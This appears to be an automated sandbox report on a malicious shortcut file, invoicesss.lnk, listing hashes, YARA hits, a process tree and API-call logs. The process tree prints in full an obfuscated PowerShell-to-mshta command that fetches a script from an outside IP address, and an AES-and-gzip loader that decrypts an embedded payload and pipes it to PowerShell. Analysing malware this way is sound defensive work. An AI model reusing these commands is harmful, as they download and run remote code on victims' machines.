popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

invoicesss.lnk

Generic Malware Antivirus GIF Format Lnk Format AntiVM AntiDebug PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Sept. 24, 2024, 10:59 a.m. Sept. 24, 2024, 11:01 a.m.
Size 2.0KB
Type MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=5, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5 f5a8227c071b79abce0748f0a65de2f8
SHA256 2c713900f23b2e85b1c0e02b6dd134c05fcfb1f5e6b02c2950cdbf7d1c7d24a4
CRC32 2301C48B
ssdeep 24:8k/BHYVKVWjE+/CW2rDomcqdCZZ0p7CZZxrab:8g5ajUfoJqdCZZ0p7CZZta
Yara
  • Antivirus - Contains references to security software
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "YjCR" C:\Users\test22\AppData\Local\Temp\invoicesss.lnk

    1636

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://185.38.142.128/test.sp

      1184

      • mshta.exe "C:\Windows\system32\mshta.exe" http://185.38.142.128/test.sp

        2368

        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $dMjcTRK = 'AAAAAAAAAAAAAAAAAAAAAADov4LCHPcq+5FUQS+L34/CefVyIeQtxjTsRmOOMGX5eTxgBOTb1/YzVpGoSuh7BTBA1qFlrvOuA5Itk2cF6ig+G69AJ8sIMC1nih0zGBw3JQtzH5a88QrX2D6+ZhDkMDvHoVxvc0R+Yu6qWfkeq6zHE3eASLE23XjyoTJtGNAg94ls0o75l3ajwsWltBj4/AzD67DDJcSE7EbwgvUrxOzO+TANVNrYUo4DIwuuAWPvlCOwcPptRJLUoxdVERmJPvGIb6eY9n1ntfYGuz2z5y/PdKUgK15BCIWCz1VQ3Q/kQcQGKlaETkOixON9Lkw9nyhX90os3juV1n4sLe3UxOQijbMAIG3vt8IOwaMQTqEJYHVy42tKXNeBDRvTLjB+fak0TXm8Vd1g5i7ha0DTSJmIEpSq6eNofPx0yNRbjLEIyMZXIvOQC0QLkLR78XTOpIk7FjR9FIP9V0XpcbyamPKPoTBfxc8jrgOG46rpQvVIN5bOIs5/Jqmop/qps9GEgkrWKzpuJb6iN5rMGGtYVGLCeC1Bpn4gQQeIZRxQHkfrhLv1P/WrvQq0fEST9Ee+kxEHr6VCE0B0yf4Dy2FMQU72mA68wT6jFlf6ar12AAlK';$xxMOE = 'Z29pdG9sVkJZVUVyREx6dW1HQ1JOY2FScFB2RGN1R2k=';$rHXSzlE = New-Object 'System.Security.Cryptography.AesManaged';$rHXSzlE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$rHXSzlE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$rHXSzlE.BlockSize = 128;$rHXSzlE.KeySize = 256;$rHXSzlE.Key = [System.Convert]::FromBase64String($xxMOE);$YAUel = [System.Convert]::FromBase64String($dMjcTRK);$EuMegIfR = $YAUel[0..15];$rHXSzlE.IV = $EuMegIfR;$IVASmKIQq = $rHXSzlE.CreateDecryptor();$DUSZFZYkI = $IVASmKIQq.TransformFinalBlock($YAUel, 16, $YAUel.Length - 16);$rHXSzlE.Dispose();$rRiC = New-Object System.IO.MemoryStream( , $DUSZFZYkI );$TnzBbxt = New-Object System.IO.MemoryStream;$PwoKIZPQa = New-Object System.IO.Compression.GzipStream $rRiC, ([IO.Compression.CompressionMode]::Decompress);$PwoKIZPQa.CopyTo( $TnzBbxt );$PwoKIZPQa.Close();$rRiC.Close();[byte[]] $bujqhPe = $TnzBbxt.ToArray();$SeyUotYt = [System.Text.Encoding]::UTF8.GetString($bujqhPe);$SeyUotYt | powershell -

          1192

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch
185.38.142.128 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:1249
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $dMjcTRK = 'AAAAAAAAAAAAAAAAAAAAAADov4LCHPcq+5FUQS+L34/CefVyIeQtxjTsRmOOMGX5e
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: TxgBOTb1/YzVpGoSuh7BTBA1qFlrvOuA5Itk2cF6ig+G69AJ8sIMC1nih0zGBw3JQtzH5a88QrX2D6+
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ZhDkMDvHoVxvc0R+Yu6qWfkeq6zHE3eASLE23XjyoTJtGNAg94ls0o75l3ajwsWltBj4/AzD67DDJcS
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: E7EbwgvUrxOzO+TANVNrYUo4DIwuuAWPvlCOwcPptRJLUoxdVERmJPvGIb6eY9n1ntfYGuz2z5y/PdK
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: UgK15BCIWCz1VQ3Q/kQcQGKlaETkOixON9Lkw9nyhX90os3juV1n4sLe3UxOQijbMAIG3vt8IOwaMQT
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: qEJYHVy42tKXNeBDRvTLjB+fak0TXm8Vd1g5i7ha0DTSJmIEpSq6eNofPx0yNRbjLEIyMZXIvOQC0QL
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: kLR78XTOpIk7FjR9FIP9V0XpcbyamPKPoTBfxc8jrgOG46rpQvVIN5bOIs5/Jqmop/qps9GEgkrWKzp
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: uJb6iN5rMGGtYVGLCeC1Bpn4gQQeIZRxQHkfrhLv1P/WrvQq0fEST9Ee+kxEHr6VCE0B0yf4Dy2FMQU
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: 72mA68wT6jFlf6ar12AAlK';$xxMOE = 'Z29pdG9sVkJZVUVyREx6dW1HQ1JOY2FScFB2RGN1R2k='
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: ;$rHXSzlE = New-Object 'System.Security.Cryptography.AesManaged';$rHXSzlE.Mode
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: = [System.Security.Cryptography.CipherMode]::ECB;$rHXSzlE.Padding = [System.Sec
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$rHXSzlE.BlockSize = 128;$rHXSzlE.KeySiz
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: e = 256;$rHXSzlE.Key = [System.Convert]::FromBase64String($xxMOE);$YAUel = [Sys
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: tem.Convert]::FromBase64String($dMjcTRK);$EuMegIfR = $YAUel[0..15];$rHXSzlE.IV
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: = $EuMegIfR;$IVASmKIQq = $rHXSzlE.CreateDecryptor();$DUSZFZYkI = $IVASmKIQq.Tra
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: nsformFinalBlock($YAUel, 16, $YAUel.Length - 16);$rHXSzlE.Dispose <<<< ();$rRiC
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: = New-Object System.IO.MemoryStream( , $DUSZFZYkI );$TnzBbxt = New-Object Syst
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: em.IO.MemoryStream;$PwoKIZPQa = New-Object System.IO.Compression.GzipStream $rR
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: iC, ([IO.Compression.CompressionMode]::Decompress);$PwoKIZPQa.CopyTo( $TnzBbxt
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: );$PwoKIZPQa.Close();$rRiC.Close();[byte[]] $bujqhPe = $TnzBbxt.ToArray();$SeyU
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: otYt = [System.Text.Encoding]::UTF8.GetString($bujqhPe);$SeyUotYt | powershell
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: Method invocation failed because [System.IO.Compression.GZipStream] doesn't con
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: tain a method named 'CopyTo'.
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: At line:1 char:1483
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: + $dMjcTRK = 'AAAAAAAAAAAAAAAAAAAAAADov4LCHPcq+5FUQS+L34/CefVyIeQtxjTsRmOOMGX5e
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: TxgBOTb1/YzVpGoSuh7BTBA1qFlrvOuA5Itk2cF6ig+G69AJ8sIMC1nih0zGBw3JQtzH5a88QrX2D6+
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: ZhDkMDvHoVxvc0R+Yu6qWfkeq6zHE3eASLE23XjyoTJtGNAg94ls0o75l3ajwsWltBj4/AzD67DDJcS
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: E7EbwgvUrxOzO+TANVNrYUo4DIwuuAWPvlCOwcPptRJLUoxdVERmJPvGIb6eY9n1ntfYGuz2z5y/PdK
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: UgK15BCIWCz1VQ3Q/kQcQGKlaETkOixON9Lkw9nyhX90os3juV1n4sLe3UxOQijbMAIG3vt8IOwaMQT
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: qEJYHVy42tKXNeBDRvTLjB+fak0TXm8Vd1g5i7ha0DTSJmIEpSq6eNofPx0yNRbjLEIyMZXIvOQC0QL
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: kLR78XTOpIk7FjR9FIP9V0XpcbyamPKPoTBfxc8jrgOG46rpQvVIN5bOIs5/Jqmop/qps9GEgkrWKzp
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: uJb6iN5rMGGtYVGLCeC1Bpn4gQQeIZRxQHkfrhLv1P/WrvQq0fEST9Ee+kxEHr6VCE0B0yf4Dy2FMQU
console_handle: 0x000001ff
1 1 0

WriteConsoleW

 buffer: 72mA68wT6jFlf6ar12AAlK';$xxMOE = 'Z29pdG9sVkJZVUVyREx6dW1HQ1JOY2FScFB2RGN1R2k='
console_handle: 0x0000020b
1 1 0

WriteConsoleW

 buffer: ;$rHXSzlE = New-Object 'System.Security.Cryptography.AesManaged';$rHXSzlE.Mode
console_handle: 0x00000217
1 1 0

WriteConsoleW

 buffer: = [System.Security.Cryptography.CipherMode]::ECB;$rHXSzlE.Padding = [System.Sec
console_handle: 0x00000223
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$rHXSzlE.BlockSize = 128;$rHXSzlE.KeySiz
console_handle: 0x0000022f
1 1 0

WriteConsoleW

 buffer: e = 256;$rHXSzlE.Key = [System.Convert]::FromBase64String($xxMOE);$YAUel = [Sys
console_handle: 0x0000023b
1 1 0

WriteConsoleW

 buffer: tem.Convert]::FromBase64String($dMjcTRK);$EuMegIfR = $YAUel[0..15];$rHXSzlE.IV
console_handle: 0x00000247
1 1 0

WriteConsoleW

 buffer: = $EuMegIfR;$IVASmKIQq = $rHXSzlE.CreateDecryptor();$DUSZFZYkI = $IVASmKIQq.Tra
console_handle: 0x00000253
1 1 0

WriteConsoleW

 buffer: nsformFinalBlock($YAUel, 16, $YAUel.Length - 16);$rHXSzlE.Dispose();$rRiC = New
console_handle: 0x0000025f
1 1 0

WriteConsoleW

 buffer: -Object System.IO.MemoryStream( , $DUSZFZYkI );$TnzBbxt = New-Object System.IO.
console_handle: 0x0000026b
1 1 0

WriteConsoleW

 buffer: MemoryStream;$PwoKIZPQa = New-Object System.IO.Compression.GzipStream $rRiC, ([
console_handle: 0x00000277
1 1 0

WriteConsoleW

 buffer: IO.Compression.CompressionMode]::Decompress);$PwoKIZPQa.CopyTo <<<< ( $TnzBbxt
console_handle: 0x00000283
1 1 0

WriteConsoleW

 buffer: );$PwoKIZPQa.Close();$rRiC.Close();[byte[]] $bujqhPe = $TnzBbxt.ToArray();$SeyU
console_handle: 0x0000028f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003434b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003434b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003434b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00343430
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00343430
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00343430
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00343430
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00343430
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00343430
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003431b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003431b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003431b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cf0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342cb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00342c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003e4a68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003e4a68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3b30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3870
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3870
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3870
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features Connection to IP address suspicious_request GET http://185.38.142.128/test.sp
request GET http://185.38.142.128/test.sp
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 1638400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02980000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73921000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73922000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
